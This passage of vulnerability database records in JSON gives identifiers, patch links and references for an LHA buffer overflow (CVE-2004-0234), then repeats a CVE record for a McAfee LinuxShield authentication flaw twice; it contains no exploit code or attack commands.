"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-8664",
"trust": 0.1,
"type": "unknown"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-8664"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2004-0234",
"trust": 3.0
},
{
"db": "BID",
"id": "10243",
"trust": 2.8
},
{
"db": "OSVDB",
"id": "5754",
"trust": 2.5
},
{
"db": "OSVDB",
"id": "5753",
"trust": 2.5
},
{
"db": "SECTRACK",
"id": "1015866",
"trust": 2.5
},
{
"db": "SECUNIA",
"id": "19514",
"trust": 1.8
},
{
"db": "VUPEN",
"id": "ADV-2006-1220",
"trust": 1.7
},
{
"db": "XF",
"id": "16012",
"trust": 1.4
},
{
"db": "JVNDB",
"id": "JVNDB-2004-000169",
"trust": 0.8
},
{
"db": "FULLDISC",
"id": "20040501 LHA BUFFER OVERFLOWS AND DIRECTORY TRAVERSAL PROBLEMS",
"trust": 0.6
},
{
"db": "FULLDISC",
"id": "20040502 LHA LOCAL STACK OVERFLOW PROOF OF CONCEPT CODE",
"trust": 0.6
},
{
"db": "FEDORA",
"id": "FEDORA-2004-119",
"trust": 0.6
},
{
"db": "FEDORA",
"id": "FLSA:1833",
"trust": 0.6
},
{
"db": "REDHAT",
"id": "RHSA-2004:179",
"trust": 0.6
},
{
"db": "REDHAT",
"id": "RHSA-2004:178",
"trust": 0.6
},
{
"db": "BUGTRAQ",
"id": "20060403 BARRACUDA LHA ARCHIVER SECURITY BUG LEADS TO REMOTE COMPROMISE",
"trust": 0.6
},
{
"db": "BUGTRAQ",
"id": "20040510 [ULF HARNHAMMAR]: LHA ADVISORY + PATCH",
"trust": 0.6
},
{
"db": "OVAL",
"id": "OVAL:ORG.MITRE.OVAL:DEF:977",
"trust": 0.6
},
{
"db": "OVAL",
"id": "OVAL:ORG.MITRE.OVAL:DEF:9881",
"trust": 0.6
},
{
"db": "GENTOO",
"id": "GLSA-200405-02",
"trust": 0.6
},
{
"db": "DEBIAN",
"id": "DSA-515",
"trust": 0.6
},
{
"db": "CONECTIVA",
"id": "CLA-2004:840",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-200408-202",
"trust": 0.6
},
{
"db": "PACKETSTORM",
"id": "33241",
"trust": 0.2
},
{
"db": "VULHUB",
"id": "VHN-8664",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "45159",
"trust": 0.1
},
{
"db": "SECUNIA",
"id": "19002",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "44104",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "45164",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-8664"
},
{
"db": "BID",
"id": "10243"
},
{
"db": "JVNDB",
"id": "JVNDB-2004-000169"
},
{
"db": "PACKETSTORM",
"id": "45159"
},
{
"db": "PACKETSTORM",
"id": "33241"
},
{
"db": "PACKETSTORM",
"id": "44104"
},
{
"db": "PACKETSTORM",
"id": "45164"
},
{
"db": "NVD",
"id": "CVE-2004-0234"
},
{
"db": "CNNVD",
"id": "CNNVD-200408-202"
}
]
},
"id": "VAR-200408-0140",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-8664"
}
],
"trust": 0.01
},
"last_update_date": "2023-12-18T11:30:26.313000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "LHA for UNIX Version 1.17",
"trust": 0.8,
"url": "http://www.infor.kanazawa-it.ac.jp/~ishii/lhaunix/"
},
{
"title": "Top Page",
"trust": 0.8,
"url": "http://lha.sourceforge.jp/"
},
{
"title": "RHSA-2004:178",
"trust": 0.8,
"url": "https://rhn.redhat.com/errata/rhsa-2004-178.html"
},
{
"title": "RHSA-2004:179",
"trust": 0.8,
"url": "https://rhn.redhat.com/errata/rhsa-2004-179.html"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2004-000169"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-119",
"trust": 1.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-8664"
},
{
"db": "NVD",
"id": "CVE-2004-0234"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.5,
"url": "http://www.securityfocus.com/bid/10243"
},
{
"trust": 2.5,
"url": "http://securitytracker.com/id?1015866"
},
{
"trust": 2.0,
"url": "http://www.redhat.com/archives/fedora-announce-list/2004-may/msg00005.html"
},
{
"trust": 1.8,
"url": "http://marc.info/?l=bugtraq\u0026m=108422737918885\u0026w=2"
},
{
"trust": 1.7,
"url": "http://archives.neohapsis.com/archives/bugtraq/2006-04/0059.html"
},
{
"trust": 1.7,
"url": "http://www.debian.org/security/2004/dsa-515"
},
{
"trust": 1.7,
"url": "https://bugzilla.fedora.us/show_bug.cgi?id=1833"
},
{
"trust": 1.7,
"url": "http://lists.grok.org.uk/pipermail/full-disclosure/2004-may/020776.html"
},
{
"trust": 1.7,
"url": "http://lists.grok.org.uk/pipermail/full-disclosure/2004-may/020778.html"
},
{
"trust": 1.7,
"url": "http://security.gentoo.org/glsa/glsa-200405-02.xml"
},
{
"trust": 1.7,
"url": "http://www.guay-leroux.com/projects/barracuda-advisory-lha.txt"
},
{
"trust": 1.7,
"url": "http://www.osvdb.org/5753"
},
{
"trust": 1.7,
"url": "http://www.osvdb.org/5754"
},
{
"trust": 1.7,
"url": "http://www.redhat.com/support/errata/rhsa-2004-178.html"
},
{
"trust": 1.7,
"url": "http://www.redhat.com/support/errata/rhsa-2004-179.html"
},
{
"trust": 1.7,
"url": "http://secunia.com/advisories/19514"
},
{
"trust": 1.6,
"url": "http://distro.conectiva.com.br/atualizacoes/?id=a\u0026anuncio=000840"
},
{
"trust": 1.4,
"url": "http://www.frsirt.com/english/advisories/2006/1220"
},
{
"trust": 1.4,
"url": "http://xforce.iss.net/xforce/xfdb/16012"
},
{
"trust": 1.4,
"url": "http://oval.mitre.org/repository/data/getdef?id=oval:org.mitre.oval:def:977"
},
{
"trust": 1.1,
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3aorg.mitre.oval%3adef%3a977"
},
{
"trust": 1.1,
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3aorg.mitre.oval%3adef%3a9881"
},
{
"trust": 1.1,
"url": "http://www.vupen.com/english/advisories/2006/1220"
},
{
"trust": 1.1,
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/16012"
},
{
"trust": 0.9,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2004-0234"
},
{
"trust": 0.8,
"url": "http://nvd.nist.gov/nvd.cfm?cvename=cve-2004-0234"
},
{
"trust": 0.8,
"url": "http://osvdb.org/5753"
},
{
"trust": 0.8,
"url": "http://osvdb.org/5754"
},
{
"trust": 0.6,
"url": "http://marc.theaimsgroup.com/?l=bugtraq\u0026m=108422737918885\u0026w=2"
},
{
"trust": 0.6,
"url": "http://oval.mitre.org/repository/data/getdef?id=oval:org.mitre.oval:def:9881"
},
{
"trust": 0.4,
"url": "http://www.infor.kanazawa-it.ac.jp/~ishii/lhaunix/"
},
{
"trust": 0.3,
"url": "http://www.barracudanetworks.com/ns/products/spam_overview.php"
},
{
"trust": 0.3,
"url": "http://www.stalker.com/cgpmcafee/"
},
{
"trust": 0.3,
"url": "http://www.f-secure.com/security/fsc-2004-1.shtml"
},
{
"trust": 0.3,
"url": "http://mail.stalker.com/lists/cgatepro/message/61244.html"
},
{
"trust": 0.3,
"url": "http://images.mcafee.com/misc/mcafee_security_bulletin_05-march-17.pdf"
},
{
"trust": 0.3,
"url": "http://rhn.redhat.com/errata/rhsa-2004-178.html"
},
{
"trust": 0.3,
"url": "http://rhn.redhat.com/errata/rhsa-2004-219.html"
},
{
"trust": 0.3,
"url": "http://www.rarsoft.com/"
},
{
"trust": 0.3,
"url": "http://www.winzip.com/"
},
{
"trust": 0.3,
"url": "/archive/1/366265"
},
{
"trust": 0.2,
"url": "http://secunia.com/secunia_security_advisories/"
},
{
"trust": 0.2,
"url": "http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org"
},
{
"trust": 0.2,
"url": "http://secunia.com/about_secunia_advisories/"
},
{
"trust": 0.2,
"url": "http://secunia.com/advisories/19002/"
},
{
"trust": 0.1,
"url": "http://marc.info/?l=bugtraq\u0026amp;m=108422737918885\u0026amp;w=2"
},
{
"trust": 0.1,
"url": "http://distro.conectiva.com.br/atualizacoes/?id=a\u0026amp;anuncio=000840"
},
{
"trust": 0.1,
"url": "http://lists.grok.org.uk/pipermail/full-disclosure/2006-april/044875.html"
},
{
"trust": 0.1,
"url": "http://secunia.com/product/4639/"
},
{
"trust": 0.1,
"url": "http://secunia.com/advisories/19514/"
},
{
"trust": 0.1,
"url": "http://lists.grok.org.uk/pipermail/full-disclosure/2006-april/044874.html"
},
{
"trust": 0.1,
"url": "http://secunia.com/advisories/11510/"
},
{
"trust": 0.1,
"url": "http://shellcode.org/audit/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2004-0234"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2004-0235"
},
{
"trust": 0.1,
"url": "http://idiosynkratisk.tk/"
},
{
"trust": 0.1,
"url": "http://www.advogato.org/person/metaur/"
},
{
"trust": 0.1,
"url": "http://www2m.biglobe.ne.jp/~dolphin/lha/lha.htm"
},
{
"trust": 0.1,
"url": "http://www2m.biglobe.ne.jp/~dolphin/lha/prog/"
},
{
"trust": 0.1,
"url": "http://secunia.com/product/8297/"
},
{
"trust": 0.1,
"url": "http://www.guay-leroux.com/projects/zoo-advisory.txt"
},
{
"trust": 0.1,
"url": "http://www.barracudanetworks.com/"
},
{
"trust": 0.1,
"url": "http://www.guay-leroux.com"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-8664"
},
{
"db": "BID",
"id": "10243"
},
{
"db": "JVNDB",
"id": "JVNDB-2004-000169"
},
{
"db": "PACKETSTORM",
"id": "45159"
},
{
"db": "PACKETSTORM",
"id": "33241"
},
{
"db": "PACKETSTORM",
"id": "44104"
},
{
"db": "PACKETSTORM",
"id": "45164"
},
{
"db": "NVD",
"id": "CVE-2004-0234"
},
{
"db": "CNNVD",
"id": "CNNVD-200408-202"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-8664"
},
{
"db": "BID",
"id": "10243"
},
{
"db": "JVNDB",
"id": "JVNDB-2004-000169"
},
{
"db": "PACKETSTORM",
"id": "45159"
},
{
"db": "PACKETSTORM",
"id": "33241"
},
{
"db": "PACKETSTORM",
"id": "44104"
},
{
"db": "PACKETSTORM",
"id": "45164"
},
{
"db": "NVD",
"id": "CVE-2004-0234"
},
{
"db": "CNNVD",
"id": "CNNVD-200408-202"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2004-08-18T00:00:00",
"db": "VULHUB",
"id": "VHN-8664"
},
{
"date": "2004-04-30T00:00:00",
"db": "BID",
"id": "10243"
},
{
"date": "2008-05-21T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2004-000169"
},
{
"date": "2006-04-04T19:25:51",
"db": "PACKETSTORM",
"id": "45159"
},
{
"date": "2004-05-04T04:25:06",
"db": "PACKETSTORM",
"id": "33241"
},
{
"date": "2006-02-25T00:55:07",
"db": "PACKETSTORM",
"id": "44104"
},
{
"date": "2006-04-04T19:39:53",
"db": "PACKETSTORM",
"id": "45164"
},
{
"date": "2004-08-18T04:00:00",
"db": "NVD",
"id": "CVE-2004-0234"
},
{
"date": "2004-04-30T00:00:00",
"db": "CNNVD",
"id": "CNNVD-200408-202"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2017-10-11T00:00:00",
"db": "VULHUB",
"id": "VHN-8664"
},
{
"date": "2009-07-12T04:07:00",
"db": "BID",
"id": "10243"
},
{
"date": "2008-05-21T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2004-000169"
},
{
"date": "2017-10-11T01:29:24.730000",
"db": "NVD",
"id": "CVE-2004-0234"
},
{
"date": "2007-05-22T00:00:00",
"db": "CNNVD",
"id": "CNNVD-200408-202"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "PACKETSTORM",
"id": "45164"
},
{
"db": "CNNVD",
"id": "CNNVD-200408-202"
}
],
"trust": 0.7
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "LHa Vuffer Overflow Vulnerability in Testing and Extracting Process",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2004-000169"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "buffer overflow",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-200408-202"
}
],
"trust": 0.6
}
}
CVE-2009-5116 (GCVE-0-2009-5116)
Vulnerability from nvd – Published: 2012-08-22 10:00 – Updated: 2024-09-16 18:29
VLAI
EPSS
VEX
Summary
McAfee LinuxShield 1.5.1 and earlier does not properly implement client authentication, which allows remote authenticated users to obtain Admin access to the statistics server by leveraging a client account.
Severity
No CVSS data available.
CWE
- n/a
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://kc.mcafee.com/corporate/index?page=conten… | x_refsource_CONFIRM |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-07T07:32:22.378Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10007"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "McAfee LinuxShield 1.5.1 and earlier does not properly implement client authentication, which allows remote authenticated users to obtain Admin access to the statistics server by leveraging a client account."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2012-08-22T10:00:00.000Z",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10007"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2009-5116",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "McAfee LinuxShield 1.5.1 and earlier does not properly implement client authentication, which allows remote authenticated users to obtain Admin access to the statistics server by leveraging a client account."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10007",
"refsource": "CONFIRM",
"url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10007"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2009-5116",
"datePublished": "2012-08-22T10:00:00.000Z",
"dateReserved": "2012-08-22T00:00:00.000Z",
"dateUpdated": "2024-09-16T18:29:53.903Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2009-5116 (GCVE-0-2009-5116)
Vulnerability from cvelistv5 – Published: 2012-08-22 10:00 – Updated: 2024-09-16 18:29
VLAI
EPSS
VEX
Summary
McAfee LinuxShield 1.5.1 and earlier does not properly implement client authentication, which allows remote authenticated users to obtain Admin access to the statistics server by leveraging a client account.
Severity
No CVSS data available.
CWE
- n/a
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://kc.mcafee.com/corporate/index?page=conten… | x_refsource_CONFIRM |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-07T07:32:22.378Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10007"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "McAfee LinuxShield 1.5.1 and earlier does not properly implement client authentication, which allows remote authenticated users to obtain Admin access to the statistics server by leveraging a client account."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2012-08-22T10:00:00.000Z",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10007"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2009-5116",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "McAfee LinuxShield 1.5.1 and earlier does not properly implement client authentication, which allows remote authenticated users to obtain Admin access to the statistics server by leveraging a client account."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10007",
"refsource": "CONFIRM",
"url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10007"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2009-5116",
"datePublished": "2012-08-22T10:00:00.000Z",
"dateReserved": "2012-08-22T00:00:00.000Z",
"dateUpdated": "2024-09-16T18:29:53.903Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}